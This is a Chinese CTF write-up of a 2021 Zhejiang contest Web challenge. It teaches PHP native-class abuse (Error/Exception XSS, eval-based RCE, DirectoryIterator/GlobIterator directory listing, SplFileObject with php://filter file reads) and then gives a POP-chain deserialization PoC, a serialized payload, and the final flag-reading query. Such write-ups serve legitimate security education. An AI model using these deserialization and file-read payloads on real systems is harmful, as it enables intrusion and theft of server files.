記一道2021浙江省賽的Web題
前景
剛剛結束的浙江省網絡安全大賽,其中Web類的第二題考察了POP鏈以及原生類的利用,在比賽期間只構造了POP鏈、得到flag的文件名,但是并沒有利用原生類將flag文件完整讀出來。這篇文章將會把這個題涉及到的知識點復現一遍,并且給出這個題詳細的WP。
原生類
報錯類
Error
在PHP7版本中,因為Error中帶有__toString方法,該方法會將傳入給__toString的參數原封不動的輸出到瀏覽器。在這么一個過程中可能會產生XSS。
例如,有以下代碼:
$a = $_GET['a'];$b = $_GET['b'];echo new $a($b);
當傳入下方payload的時候,會產生XSS
?a=Error&b=<script>alert("Lxxx");script>

Exception
與Error類似,Exception同樣有__toString方法,因此測試代碼和上方一樣,傳入以下payload,同樣可以XSS。
?a=Exception&b=<script>alert("Lxxx");script>

這個時候可能就會有聰明又帥氣的師傅們問了,那既然是會被PHP執行,那么可不可以往里面傳一句話木馬呢?
同樣還是上方的測試代碼,我們傳以下payload:
?a=Exception&b=eval($_POST[1]);

可以看到,傳入的一句話木馬被原封不動的打印出來,因此在上方這種測試代碼中,無法RCE。
不過如果將測試代碼換一個寫法,那么就可以RCE,我們將測試代碼修改如下:
$a = $_GET['a'];$b = $_GET['b'];eval("echo new $a($b());");
這個時候我們傳入以下payload
?a=Exception&b=system('whoami')

這個時候雖然報錯了,但是仍然可以RCE,RCE的主要原因不是Exception這個類,而是因為PHP會先執行括號內的內容,如果執行括號內的內容沒有報錯,再執行括號外的報錯,沒有報錯的部分的命令同樣被正常執行。因此如果將上方測試代碼的第四行eval刪去,則無法進行RCE。
遍歷目錄類
DirectoryIterator
DirectoryIterator類的__construct方法會構造一個迭代器,如果使用echo輸出該迭代器,將會返回迭代器的第一項
假設我們有以下代碼:
$a = $_GET['a'];$b = $_GET['b'];echo new $a($b);
這個時候我們傳參如下:
?a=DirectoryIterator&b=.

在頁面中返回了一個點(真的是一個點,不是顯示屏上的污漬)
這個點代表是當前目錄,如果我們想要匹配其余文件,可以使用glob協議
?a=DirectoryIterator&b=glob://flag*

那么這個時候又有聰明又帥氣的師傅要問了,如果這個時候不知道flag文件名怎么辦?
答案是:暴力搜索
?a=DirectoryIterator&b=glob://f[k-m]*

glob協議同樣是支持通配符,包括ascii碼中的部分匹配,例如想要匹配大寫字母,那么就寫[@-[]表示ASCII碼字符從@到[都允許匹配,也就是匹配大寫字母。
FilesystemIterator
同樣的,如果DirectoryIterator類因為奇奇怪怪的原因被禁用了,還有FilesystemIterator類可以代替,使用方法和DirectoryIterator類差不多,這里就不過多贅述。

GlobIterator
GlobIterator和上方這兩個類差不多,不過glob是GlobIterator類本身自帶的,因此在遍歷的時候,就不需要帶上glob協議頭了,只需要后面的相關內容
?a=GlobIterator&b=f[k-m]*

讀取文件類
SplFileObject
SplFileObject類為文件提供了一個面向對象接口
說句人話就是這個類可以用來讀文件,具體怎么讀呢?下面做個測試。
同樣還是這個測試代碼:
$a = $_GET['a'];$b = $_GET['b'];echo new $a($b);
我們傳payload如下:
?a=SplFileObject&b=flag.php

利用這個類可以將我們的flag.php文件讀出來
不過有細心又帥氣的師傅要問了,你這怎么就讀了一行啊,還讀了一個假的flag,你這SplFileObject保熟嘛?
確實,SplFileObject這個類返回的仍然是一個迭代器,想要將內容完整的輸出出來,最容易想到的自然是利用foreach遍歷,不過還有沒有其他方法將其讀取出來呢?
我們先看官方文檔,看看SplFileObject類的__construct方法到底是怎么樣的?

可以看到,要求我們傳入的參數是一個文件名,參數是文件名的方法聯想到了什么?還有哪些方法是需要傳入文件名的?(require,include,file_get_contents,file_put_contents等等等等)
而這些方法都有一個共同點就是,可以用偽協議。
雖然官方文檔上沒有說(也可能是因為我沒看到),但是我們還是可以大膽的猜想,SplFileObject可以使用偽協議。
因此我們傳入payload:
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
可以看到,這個時候flag.php就被我們完整的讀取出來了。

其余類
本質上不能說是其余類,不過在文章的后半部分會講解今年浙江網安省賽其中一道web題,其余沒有在這道題中用到的原生類我就不在這里贅述了,給個類名讓師傅們參考參考。
- ReflectionMethod
- ReflectionClass
- SoapClient
- SimpleXMLElement
- ZipArchive
2021浙江網絡安全省賽Web2的WP
題目代碼如下:
error_reporting(0);class A1{ public $tmp1; public $tmp2; public function __construct(){ echo "Enjoy Hacking!"; } public function __wakeup(){ $this->tmp1->hacking(); }}class A2{ public $tmp1; public $tmp2; public function hacking(){ echo "Hacked By Bi0x"; }}class A3{ public $tmp1; public $tmp2; public function hacking(){ $this->tmp2->get_flag(); }}class A4{ public $tmp1='1919810'; public $tmp2; public function get_flag(){ echo "flag{".$this->tmp1."}"; }}class A5{ public $tmp1; public $tmp2; public function __call($a,$b){ $f=$this->tmp1; $f(); }}class A6{ public $tmp1; public $tmp2; public function __toString(){ $this->tmp1->hack4fun(); return "114514"; }}class A7{ public $tmp1="Hello World!"; public $tmp2; public function __invoke(){ echo "114514".$this->tmp2.$this->tmp1; }}class A8{ public $tmp1; public $tmp2; public function hack4fun(){ echo "Last step,Ganbadie~"; if(isset($_GET['DAS'])) { $this->tmp1=$_GET['DAS']; } if(isset($_GET['CTF'])) { $this->tmp2=$_GET['CTF']; } echo new $this->tmp1($this->tmp2); }}if(isset($_GET['DASCTF'])){ unserialize($_GET['DASCTF']);}else{ highlight_file(__FILE__);}
這道題的前半部分是POP鏈的相關內容,由于POP鏈不在這篇文章涉及到的知識點范圍之內,因此就簡略一點,直接給出我在做題的時候寫的思路以及POC

class A1{ public $tmp1; public $tmp2; public function __construct(){$this->tmp1 = new A3(); echo "Enjoy Hacking!"."
"; } public function __wakeup(){ $this->tmp1->hacking(); }}class A2{ public $tmp1; public $tmp2; public function hacking(){ echo "Hacked By Bi0x"; }}class A3{ public $tmp1; public $tmp2;public function __construct(){$this->tmp2 = new A4();} public function hacking(){
$this->tmp2->get_flag(); }}class A4{ public $tmp1; public $tmp2;public function __construct(){$this->tmp1 = new A6();} public function get_flag(){ echo "flag{".$this->tmp1."}"; }}class A5{ public $tmp1 = ""; public $tmp2; public function __call($a,$b){ $f=$this->tmp1; $f(); }}class A6{ public $tmp1; public $tmp2;public function __construct(){$this->tmp1 = new A8();} public function __toString(){ $this->tmp1->hack4fun(); return "114514"; }}class A7{ public $tmp1="Hello World!"; public $tmp2; public function __invoke(){ echo "114514".$this->tmp2.$this->tmp1; }}class A8{ public $tmp1 ; public $tmp2 ; public function hack4fun(){ echo "Last step,Ganbadie~"; if(isset($_GET['DAS'])) { $this->tmp1=$_GET['DAS']; } if(isset($_GET['CTF'])) { $this->tmp2=$_GET['CTF']; } echo new $this->tmp1($this->tmp2); }}
$a = new A1();echo urlencode(serialize($a));
得到部分payload:
O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D
將上方的payload傳入DASCTF參數即可
這個時候當字符串反序列化到A8這個類中,需要我們傳入DAS以及CTF參數,其中關鍵代碼如下:
echo new $this->tmp1($this->tmp2);
因此我們先把flag文件名找出來,我們可以利用DirectoryIterator類結合glob遍歷目錄,得到flag文件名為flaggggggggggg.php
?DAS=DirectoryIterator&CTF=glob://flag*
得到文件名之后就讀取文件,利用SplFileObject類結合偽協議讀取flaggggggggggg.php文件
?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D&DAS=SplFileObject&CTF=php://filter/convert.base64-encode/resource=flaggggggggggg.php